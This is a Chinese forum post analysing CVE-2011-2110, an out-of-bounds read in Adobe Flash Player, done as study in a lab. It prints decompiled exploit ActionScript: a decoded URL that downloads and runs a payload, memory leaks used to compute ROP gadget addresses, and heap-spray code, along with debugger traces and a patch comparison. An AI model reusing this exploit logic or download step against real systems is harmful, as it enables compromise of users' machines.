首页
论坛
课程
招聘
[原创]CVE-2011-2110 AdobeFlashPlayer数组越界访问漏洞分析
2021-8-26 10:36 9579

[原创]CVE-2011-2110 AdobeFlashPlayer数组越界访问漏洞分析

2021-8-26 10:36
9579

1. 前言

这次看的漏洞是CVE-2011-2110,Adobe Flash中的数组越界访问漏洞。虽然越界访问与溢出漏洞都发生了“越界”,但是不管是栈溢出还是堆溢出,最终都能够做到越界写的行为,而数组越界访问,只能做到泄露部分内存数据,和溢出漏洞相比威力小了很多,漏洞利用的方法也更难一些。

2. 漏洞利用swf文件的初步分析

书中提供的漏洞利用文件是一个html文件,漏洞本身存在于Adobe FlashPlay中,这里通过在html中嵌入swf文件的方式,实现恶意文件的传播,真正进行漏洞利用的是嵌入的swf文件。

1
<param name="movie" value="main.swf?info=02e6b1525353caa8ad555555ad31b637b436aeb1b631b1ad35b355b5a93534ab51d3527b7ab7387656" />

所以先来分析一下这个swf文件,可以使用JPEXS Free Flash Decompiler工具对swf文件进行反编译,得到的代码并不长,只有600+。

 

代码的开头就在对参数进行处理,可以注意到在嵌入swf文件的时候,传入了一个info参数,这里处理的就是这个参数:

1
2
3
4
5
6
7
8
9
10
var param:Object = root.loaderInfo.parameters;
var t_url:ByteArray = this.hexToBin(param["info"]);
i = 0;
i = 0;
while(i < t_url.length)
{
   t_url[i] ^= 122;
   i++;
}
t_url.uncompress();

使用CyberChef按照代码的处理方法对info参数进行处理,可以得到最终结果:http://www.amcia.info/down/cd.txt

 

图片描述

 

之后代码对环境进行了判断:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var error_arr:ByteArray = new ByteArray();
error_arr.writeByte(2053208673);
error_arr.writeObject(error_arr);
var browser:String = ExternalInterface.call("eval","navigator.userAgent");
if(!(browser.toLowerCase().indexOf("msie") > 0 || browser.toLowerCase().indexOf("firefox") > 0))
{
   error_arr.uncompress();
}
if(browser.toLowerCase().indexOf("chrome") > 0)
{
   error_arr.uncompress();
}
if(Capabilities.isDebugger || Capabilities.supports64BitProcesses || Capabilities.isEmbeddedInAcrobat)
{
   error_arr.uncompress();
}

可以看到这个代码针对的是IE和Firefox浏览器,其他浏览器都会报错,最后还检查了是否为调试版本、处理器是否为64位,以及是否内嵌在Acrobat PDF中,任意一种情况符合都会报错。

 

最后代码使用一开始从info参数解码出来的字符串,进行了URL请求:

1
2
3
4
5
var url_str:String = String(t_url);
loader = new URLLoader();
loader.dataFormat = URLLoaderDataFormat.BINARY;
loader.addEventListener(Event.COMPLETE,onLoadComplete);
loader.load(new URLRequest(t_url.toString()));

可见这个代码会联网下载其他文件,同时在下载完成后,执行onLoadComplete函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
onLoadComplete = function(param1:Event):void
{
   content = loader.data;
   i = 0;
   while(i < content.length)
   {
      content[i] ^= 122;
      ++i;
   }
   content.uncompress();
   content_len = content.length;
   var _loc2_:ByteArray = new ByteArray();
   code = _loc2_;
   _loc2_.position = 1024 * 1024;
   _loc2_.writeInt(2053274210);
   _loc2_.writeInt(2053339747);
   _loc2_.writeInt(2053405283);
   _loc2_.writeObject(_loc2_);
   test();
   trace(_loc2_.length);
};

该函数会对下载的文件进行解密,解密方法和info参数一样。

 

之后创建了一个ByteArray _loc2_,目前还不知道这个变量有什么用,最后调用了test()函数。

 

test函数占据了这个文件的大部分篇幅,漏洞利用的内容应该也在这个函数中,

3. 测试漏洞利用文件执行情况

3.1 环境搭建

Flash版本:10.3.181.23 (下载地址:https://archive.org/details/flashplayerarchive

 

漏洞利用主机:

 

操作系统:Win7 32位 SP1简体中文专业版

 

IE:8.0.7601.17514

 

服务器主机:

 

操作系统任意

 

phpstudy:8.1.1.3

3.1.1 模拟服务器主机

IP地址:192.168.6.198

 

由于amcia.info已经无法访问,需要自己搭建一个服务器模仿该网站。

 

使用phpstudy搭建服务器环境,打开Apache服务,在WWW根目录下放置以下文件,文件书籍配套资料有提供:

1
2
3
4
5
down\
    cd.txt
cve-2011-2110.html
main.swf
crossdomain.xml

其中的crossdomain.xml是自己创建的,内容如下:

1
2
3
4
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

有了这个文件就允许任意域名跨域访问资源了。

3.1.2 漏洞利用主机

IP地址:192.168.6.40

 

修改hosts文件,添加记录:

1
192.168.6.198  www.amcia.info

使用Fiddler抓包查看网络连接情况,使用Process Explorer监控进程执行情况。

 

之后打开IE,访问http://www.amcia.info/cve-2011-2110.html,可以看到Fiddler中:

 

图片描述

 

以及Porcess Explorer中:

 

图片描述

 

由于我之前设置了windbg作为默认调试器,因此,此时windbg已经自动弹出来了:

1
2
3
4
5
6
7
(e04.810): Invalid lock sequence - code c000001e (!!! second chance !!!)
eax=00000000 ebx=7ffd4000 ecx=00000000 edx=004033d9 esi=00000000 edi=00000000
eip=00403425 esp=0012ff5c ebp=0012ff88 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010293
*** ERROR: Module load completed but symbols could not be loaded for C:\Users\test\AppData\Local\Temp\Low\scvhost.exe
scvhost+0x3425:
00403425 f04b            lock dec ebx

在此也可以看出scvhost.exe的路径在临时文件夹中。

 

注:这里用于实验的main.swf并不是特别稳定,因此需要选择合适的Flash版本才能执行到scvhost.exe出现,除此之外,windows要选择32位的,IE版本也不能太高,我也是实验了几次才最终得到了这个结果。

 

根据之前对代码简单分析,这里出现异常的scvhost.exe应该就是cd.txt解码之后的结果,main.swf利用了Adobe Flash中存在的漏洞,实现了恶意程序的执行。所以现在的问题应该是main.swf是怎样利用了这个漏洞,而不是最终执行起来的恶意程序为什么出现了异常。

 

书中提供了针对swf文件,在漏洞利用早期触发异常,从而定位漏洞位置的方法。

4. 触发异常,定位漏洞位置

对于用于漏洞利用的swf文件,可以直接修改反编译得到的脚本代码,再使用工具Flash Builder重新进行编译,生成新的swf文件。但是应该怎么修改呢?需要分析一下反编译得到的代码:

 

漏洞利用的主要代码都集中在test函数中,这个函数代码开头是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public function test(... rest) : void
{
    var _loc8_:int = 0;
    var _loc2_:Number = new Number(parseFloat(String(rest[0x4000000E])));
    var _loc3_:ByteArray = new ByteArray();
    _loc3_.position = 0;
    _loc3_.writeDouble(_loc2_);
    var _loc4_:uint = _loc3_[0] * 0x1000000 + _loc3_[1] * 0x10000 + _loc3_[2] * 0x100 + _loc3_[3];
    this.baseaddr = _loc4_;
    this.code.position = 0;
    this.code.endian = Endian.LITTLE_ENDIAN;
    this.code.writeInt(this.pobj - 1 + 16 + 409600);
    this.code.endian = Endian.BIG_ENDIAN;
    this.code.writeUnsignedInt(0x41414141);
    this.code.writeUnsignedInt(0x41414141);
    this.code.writeUnsignedInt(0x41414141);
    _loc8_ = 0;
    while(_loc8_ < 102400)
    {
       this.code.writeUnsignedInt(0x41414141);
       _loc8_++;
    }
...

一开始的_loc2_rest参数数组的0x4000000E偏移处读取了一个数值,这里肯定是有问题的,正常来说不可能是这么大的偏移。所以漏洞就出现在这里,它允许对rest参数数组进行越界的读取。但是这个越界读取对应到Adobe Flash软件中,又是什么情况呢?

 

继续往下看,读取的这个数经过处理之后变成了this.baseaddr。也就是说,由于漏洞的存在,我们可以通过越界读取获取内存中的保存的数据,并在之后使用。

 

test函数后面利用这个baseaddr,通过进一步计算,得到了更多的后续使用的数值:

1
2
3
4
5
6
7
8
9
10
11
this.xchg_eax_esp_ret = this.baseaddr - 0x3F48E7;
this.xchg_eax_esi_ret = this.baseaddr - 0x2FF589;
this.pop_eax_ret = this.baseaddr - 0x405D48;
this.VirtualAlloc = this.baseaddr + 0xA6626;
this.jmp_eax = this.baseaddr - 0x3FF11F;
this.pop_ecx = this.baseaddr - 0x405DA0;
this.mov_eax_ecx = this.baseaddr - 0x3B90CC;
this.inc_eax_ret = this.baseaddr - 0x405D4C;
this.dec_eax_ret = this.baseaddr - 0x3BBD96;
this.to_eax = this.baseaddr - 0x3ADC67;
this.virtualprotect = this.baseaddr + 0xA65F2;

不同的Flash版本计算的数值不同,这也是为什么一开始环境搭建的时候有些Flash版本并没有成功进行漏洞利用,因为这里的代码并没有考虑所有的情况,对环境依赖严重。

 

之后开始构建shellcode,后续还存在两次利用数组越界读取获取信息的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var _loc5_:Number = new Number(parseFloat(String(rest[0x3FFFFF96])));
var _loc6_:ByteArray;
(_loc6_ = new ByteArray()).writeDouble(_loc5_);
var _loc7_:uint = _loc6_[0] * 0x1000000 + _loc6_[1] * 0x10000 + _loc6_[2] * 0x100 + _loc6_[3];
this.pobj = _loc7_;
_loc8_ = 0;
this.pobj += 56;
_loc8_ = 0;
while(_loc8_ < 100)
{
   this.code.writeInt(this.pobj);
   _loc8_++;
}
var _loc9_:Number = new Number(parseFloat(String(rest[0x3FFFFFBA])));
_loc3_.position = 0;
_loc3_.writeDouble(_loc9_);
_loc4_ = _loc3_[0] * 0x1000000 + _loc3_[1] * 0x10000 + _loc3_[2] * 0x100 + _loc3_[3];
this.pobj = _loc4_ + 2;
ExternalInterface.call("",this.pobj.toString(16));
_loc8_ = 0;
while(_loc8_ < 100)
{
   this.code.writeInt(this.pobj);
   _loc8_++;
}

所以现在关键是要确定rest参数越界读取是发生在哪里,读取的数值又是什么。

 

可以修改函数一开始越界读取的索引值,原本是

1
var _loc2_:Number = new Number(parseFloat(String(rest[0x4000000E])));

按照书中所说修改成0x41414141,重新进行测试,windbg断在了这里:

1
2
3
4
5
6
7
(cb8.7dc): Access violation - code c0000005 (!!! second chance !!!)
eax=41414141 ebx=0594a040 ecx=0256d07c edx=0256d07c esi=0581a0d0 edi=0581a0d0
eip=68f724b5 esp=0256cef4 ebp=0256d020 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00050202
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\system32\Macromed\Flash\Flash10s.ocx -
Flash10s!DllUnregisterServer+0x274e3d:
68f724b5 8b0481          mov     eax,dword ptr [ecx+eax*4] ds:0023:075bd580=????????

注意到eax寄存器的值就是0x41414141,程序尝试从ecx+eax*4的位置读取数值,这里很好理解,ecx保存的是rest参数基地址,eax是偏移,最后计算出具体位置。

5. 漏洞利用过程调试

所以现在可以确定漏洞位置位于Flash10s!DllUnregisterServer+0x274e3d,接下来还是用之前正确的main.swf,用windbg附加到IE上,然后在漏洞位置设置断点,再打开目标网址,windbg断在断点处:

1
2
3
4
5
6
7
8
0:011> bu Flash10s!DllUnregisterServer+0x274e3d
0:011> g
Breakpoint 0 hit
eax=4000000e ebx=0598d040 ecx=0276cfec edx=0276cfec esi=058fa0d0 edi=058fa0d0
eip=674224b5 esp=0276ce74 ebp=0276cf90 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00040202
Flash10s!DllUnregisterServer+0x274e3d:
674224b5 8b0481          mov     eax,dword ptr [ecx+eax*4] ds:0023:0276d024=0276d078

可以看到在偏移值为0x4000000E的情况下,读取到的数据是0x0276d078,但是这个值有什么用呢?

 

如果多次测试,我这里贴出多次测试得到的结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
Breakpoint 0 hit
eax=4000000e ebx=0602d040 ecx=0235cd0c edx=0235cd0c esi=05f990d0 edi=05f990d0
eip=677524b5 esp=0235cb94 ebp=0235ccb0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00040202
Flash10s!DllUnregisterServer+0x274e3d:
677524b5 8b0481          mov     eax,dword ptr [ecx+eax*4] ds:0023:0235cd44=0235cd98
 
0:005> dd 0235cd98 l4
0235cd98  0235cdd4 67766e0e 0602b160 00000001
 
0:005> lm m Flash10s
start    end        module name
67360000 6798e000   Flash10s   (export symbols)       C:\Windows\system32\Macromed\Flash\Flash10s.ocx
 
-------------------------------------
Breakpoint 0 hit
eax=4000000e ebx=05fec040 ecx=0249cddc edx=0249cddc esi=05f5a0d0 edi=05f5a0d0
eip=67a524b5 esp=0249cc64 ebp=0249cd80 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00040202
Flash10s!DllUnregisterServer+0x274e3d:
67a524b5 8b0481          mov     eax,dword ptr [ecx+eax*4] ds:0023:0249ce14=0249ce68
 
0:005> dd 0249ce68 l4
0249ce68  0249cea4 67a66e0e 05fea160 00000001
 
0:005> lm m Flash10s
start    end        module name
67660000 67c8e000   Flash10s   (export symbols)       C:\Windows\system32\Macromed\Flash\Flash10s.ocx
 
-------------------------------------
Breakpoint 0 hit
eax=4000000e ebx=05eec040 ecx=0261cf6c edx=0261cf6c esi=05e590d0 edi=05e590d0
eip=66a524b5 esp=0261cdf4 ebp=0261cf10 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00040202
Flash10s!DllUnregisterServer+0x274e3d:
66a524b5 8b0481          mov     eax,dword ptr [ecx+eax*4] ds:0023:0261cfa4=0261cff8
 
0:005> dd 0261cff8 l4
0261cff8  0261d034 66a66e0e 05eea160 00000001
 
0:005> lm m Flash10s
start    end        module name
66660000 66c8e000   Flash10s   (export symbols)       C:\Windows\system32\Macromed\Flash\Flash10s.ocx

注意读取到的数值指向的位置,第二个DWORD与Flash10s.ocx加载基址做减法之后(即它的偏移)始终不变,为0x406E0E

 

第二个DWORD就是代码中所说的的baseaddr,而代码中根据baseaddr计算出来的数值就是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
this.xchg_eax_esp_ret = this.baseaddr - 0x3F48E7 = 0x66672527;
0:005> uf 66672527
Flash10s+0x12527:
66672527 94              xchg    eax,esp
66672528 c3              ret
-------------------------------------------
this.xchg_eax_esi_ret = this.baseaddr - 0x2FF589 = 0x66767885;
0:005> uf 0x66767885
Flash10s+0x107885:
66767885 96              xchg    eax,esi
66767886 c3              ret
-------------------------------------------
this.pop_eax_ret = this.baseaddr - 0x405D48 = 0x666610C6;
0:005> uf 0x666610C6
Flash10s+0x10c6:
666610c6 58              pop     eax
666610c7 c3              ret
-------------------------------------------
this.VirtualAlloc = this.baseaddr + 0xA6626 = 0x669C07E8;
-------------------------------------------
this.jmp_eax = this.baseaddr - 0x3FF11F = 0x66667CEF;
0:005> uf 0x66667CEF
Flow analysis was incomplete, some code may be missing
Flash10s+0x7cef:
66667cef ff20            jmp     dword ptr [eax]
-------------------------------------------
this.pop_ecx = this.baseaddr - 0x405DA0 = 0x6666106E;
0:005> uf 0x6666106E
Flash10s+0x106e:
6666106e 59              pop     ecx
6666106f c3              ret
-------------------------------------------
this.mov_eax_ecx = this.baseaddr - 0x3B90CC = 0x666ADD42;
0:005> uf 0x666ADD42
Flash10s+0x4dd42:
666add42 8908            mov     dword ptr [eax],ecx
666add44 c3              ret
-------------------------------------------
this.inc_eax_ret = this.baseaddr - 0x405D4C = 0x666610C2;
0:005> uf 0x666610C2
Flash10s+0x10c2:
666610c2 40              inc     eax
666610c3 c3              ret
-------------------------------------------
this.dec_eax_ret = this.baseaddr - 0x3BBD96 = 0x666AB078;
0:005> uf 0x666AB078
Flash10s+0x4b078:
666ab078 48              dec     eax
666ab079 c3              ret
-------------------------------------------
this.to_eax = this.baseaddr - 0x3ADC67 = 0x666B91A7;
0:005> uf 0x666B91A7
Flow analysis was incomplete, some code may be missing
Flash10s+0x591a7:
666b91a7 ffe0            jmp     eax
-------------------------------------------
this.virtualprotect = this.baseaddr + 0xA65F2 = 0x66B0D400;

可以看到除了this.VirtualAllocthis.virtualprotect由于缺少符号文件无法确定之外,其他的指令地址都是正确的。

 

同样的原理,继续执行,程序会断在同样的位置,对应代码中的第二次越界读取:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0:005> g
Breakpoint 0 hit
eax=3fffff96 ebx=05e4a0d0 ecx=0235cd0c edx=0235cd0c esi=05edd040 edi=05e4a0d0
eip=677524b5 esp=0235cb94 ebp=0235ccb0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00040202
Flash10s!DllUnregisterServer+0x274e3d:
677524b5 8b0481          mov     eax,dword ptr [ecx+eax*4] ds:0023:0235cb64=0235cd08
0:005> dd 0235cd08 l4
0235cd08  05edd040 05efdfa0 0235cd70 0235ce48
0:005> dd 05efdfa0+38              // 因为代码中做了一次加法,加56,即十进制的38
05efdfd8  00000000 076a0000 00400010 0020001e
05efdfe8  0006d138 00000000 678dcf74 00000003
05efdff8  00000000 00000000 05cb5020 05ca8700
05efe008  00000000 05e62fa0 00000040 00000106
05efe018  05e69000 00000000 00000000 00000000
05efe028  00020000 05efe040 00000000 00000000
05efe038  00000000 00000000 00000007 05edc160
05efe048  00000007 05edc1c0 00000007 05edc4a0

继续执行,程序中断,对应第三次越界读取:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0:005> g
Breakpoint 0 hit
eax=3fffffba ebx=05d89030 ecx=0235cd0c edx=0235cd0c esi=05e4a0d0 edi=05e4a0d0
eip=677524b5 esp=0235cb94 ebp=0235ccb0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00040202
Flash10s!DllUnregisterServer+0x274e3d:
677524b5 8b0481          mov     eax,dword ptr [ecx+eax*4] ds:0023:0235cbf4=05efdfd8
0:005> dd 05efdfd8 l4
05efdfd8  00000000 076a0000 00400010 0020001e
0:005> dd 076a0000
076a0000  0006400f 41414141 41414141 41414141
076a0010  41414141 41414141 41414141 41414141
076a0020  41414141 41414141 41414141 41414141
076a0030  41414141 41414141 41414141 41414141
076a0040  41414141 41414141 41414141 41414141
076a0050  41414141 41414141 41414141 41414141
076a0060  41414141 41414141 41414141 41414141
076a0070  41414141 41414141 41414141 41414141

注意到这里的第二个DWORD 076a0000 ,就保存在第二次中断时第二个DWORD所指向的区域。而076a0000中保存的就是代码中的code内容,因为如果回头看一下test函数一开始的代码,它执行了:

1
2
3
this.code.position = 0;
this.code.endian = Endian.LITTLE_ENDIAN;
this.code.writeInt(this.pobj - 1 + 16 + 409600);

其中this.pobj的值为零,所以最后括号中的表达式计算结果就是0x6400F,也就是076a0000处保存的数据的首个DWORD值。

 

确定了shellcode的位置,在这里下一个读写断点(多次调试,地址改变):

1
2
3
4
5
6
7
8
0:005> ba r4 076c0000
0:005> g
Breakpoint 1 hit
eax=07724010 ebx=05bfb640 ecx=00000001 edx=00000000 esi=0235cbb4 edi=076c0000
eip=67784bc0 esp=0235cb74 ebp=0235cb7c iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00040297
Flash10s!DllUnregisterServer+0x2a7548:
67784bc0 8d048d00000000  lea     eax,[ecx*4]

这里执行的指令是mov dword ptr [edi+ecx*4-4],eax,向首四个字节写入了数据,还没有执行到shellcode,继续执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
0:005> g
(e30.9a8): Single step exception - code 80000004 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=07724010 ebx=05b46800 ecx=076c0000 edx=00000001 esi=05bfb118 edi=05a03000
eip=6771e40b esp=0235cbc0 ebp=0235ccb0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00040206
Flash10s!DllUnregisterServer+0x240d93:
6771e40b 8b5050          mov     edx,dword ptr [eax+50h] ds:0023:07724060=67372527
0:005> uf 67372527
Flash10s+0x12527:
67372527 94              xchg    eax,esp
67372528 c3              ret

可以看到程序到这里就执行到了ROP指令。

6. 补丁前后文件对比

根据上面的分析,通过计算异常发生地址与Flash10s.ocx的基址之间的差,得到其偏移为0x3F24B5,在IDA中查看异常发生处的代码:

1
2
3
4
5
6
7
8
9
10
11
...
    else if ( v6 == 7 )
    {
      v8 = *(a3 & 0xFFFFFFF8);
      if ( v8 >= 0.0 && v8 <= 4294967295.0 )
      {
        sub_673E9290(v8);
        return *(a6 + 4 * v8);                  // 漏洞位置
      }
    }
...

令人疑惑的索引范围判断......

 

找到打完补丁之后的10.3.181.26版本中的Flash10t.ocx文件,用IDA打开,让两个文件的基地址保持一致,搜索8B 04 81,即mov eax, [ecx+eax*4]的机器码,在得到的所有结果中,找到与原文件该指令地址.text:674224B5最接近的一条结果:.text:67422426 8B 04 81 mov eax, [ecx+eax*4],这条指令的偏移为0x3F2426

 

查看所在函数的伪代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
...
    else
    {
      if ( v6 != 7 || (v8 = *(a3 & 0xFFFFFFF8), v8 < 0.0) || v8 > 4294967295.0 )
      {
LABEL_12:
        if ( !*a4 )
          *a4 = sub_6740CA40(a6, a5);
        goto LABEL_14;
      }
      sub_673E9250(v8);
      v7 = v8;
    }
    if ( v7 < a5 )
      return *(a6 + 4 * v7);
    goto LABEL_12;
...

用来做范围判断的a5是传进来的参数,上方的v8 = *(a3 & 0xFFFFFFF8), v8 < 0.0) || v8 > 4294967295.0和原文件中的代码很像,基本可以判断是同一函数。

 

如果在漏洞利用的虚拟机上安装10.3.181.26版本的Flash再做一次测试,首先根据IDA中模块的基地址(0x67030000)以及代码所在函数地址(0x67422380)计算出函数的偏移地址(0x3f2380),当windbg附加当IE浏览器上后,检查Flash10t的加载基址(0x67500000),由此得到函数所在地址为(0x678f2380),在此处下断点,然后开始访问目标网址,程序断在了函数开头,

1
2
3
4
5
6
7
8
0:021> g
ModLoad: 75290000 75298000   C:\Windows\system32\Secur32.dll
Breakpoint 0 hit
eax=04891f4f ebx=04877040 ecx=0229d168 edx=0229d23c esi=047e30d0 edi=047e30d0
eip=678f2380 esp=0229d0dc ebp=0229d1e0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00040202
Flash10t!DllUnregisterServer+0x274dc5:
678f2380 83ec18          sub     esp,18h

继续单步,直到到达if ( v7 < a5 )的位置:

1
2
3
4
5
6
0:005> p
eax=4000000e ebx=049b1030 ecx=0229d168 edx=0229d23c esi=0229d168 edi=04891f4f
eip=678f241e esp=0229d0b4 ebp=00000000 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00040202
Flash10t!DllUnregisterServer+0x274e63:
678f241e 3bc5            cmp     eax,ebp

可以看到eax寄存器中保存的值就是代码中的数组索引值4000000e,而比较的另一个对象,ebp中的值是00000000,由于返回为假,所以程序不会执行到下一步,也就不会发生越界访问了。

7. 总结

通过上面的调试经历,可以看出一些数组越界访问的漏洞利用方法,通过越界访问泄露的数据信息,构造ROP指令,获取shellcode地址,同时需要找到能够调用到该地址的指令,最终实现漏洞利用。

 

这周的学习很有挫败感,基本上都是在跟随书中的步骤,固然也学到了一些调试swf,action script的技巧,同时也对数组越界访问的漏洞利用有了一部分了解,但是总体来说,这个漏洞对于初次学习数组越界访问漏洞并不友好,缺少symbol文件,网上的信息也不多,对于flash的不了解,更不用说目前flash已经完全不再支持,都导致在学习过程中会有很多疑问无法得到解答。

 

希望之后遇到同样类型漏洞的时候能够学习到更多内容。

8. 参考资料

  1. ActionScript® 3.0 Reference for the Adobe® Flash® Platform
  2. 《漏洞战争》

【看雪培训】《Adroid高级研修班》2022年夏季班招生中!

收藏
点赞0
打赏
分享
最新回复 (3)
雪    币: 284
活跃值: 活跃值 (4450)
能力值: (RANK:310 )
在线值:
发帖
回帖
粉丝
0x2l 活跃值 4 2021-8-26 10:54
2
0
重复投稿了师傅,一篇文章同时投了两次
雪    币: 16758
活跃值: 活跃值 (8483)
能力值: ( LV13,RANK:660 )
在线值:
发帖
回帖
粉丝
LarryS 活跃值 13 2021-8-26 11:14
3
0
0x2l 重复投稿了师傅,一篇文章同时投了两次
点击发表之后直接发了两篇出来,我也不知道怎么回事,版主删掉一篇吧
雪    币: 284
活跃值: 活跃值 (4450)
能力值: (RANK:310 )
在线值:
发帖
回帖
粉丝
0x2l 活跃值 4 2021-8-26 14:15
4
0
LarryS 点击发表之后直接发了两篇出来,我也不知道怎么回事,版主删掉一篇吧
已经把另一篇删了
游客
登录 | 注册 方可回帖
返回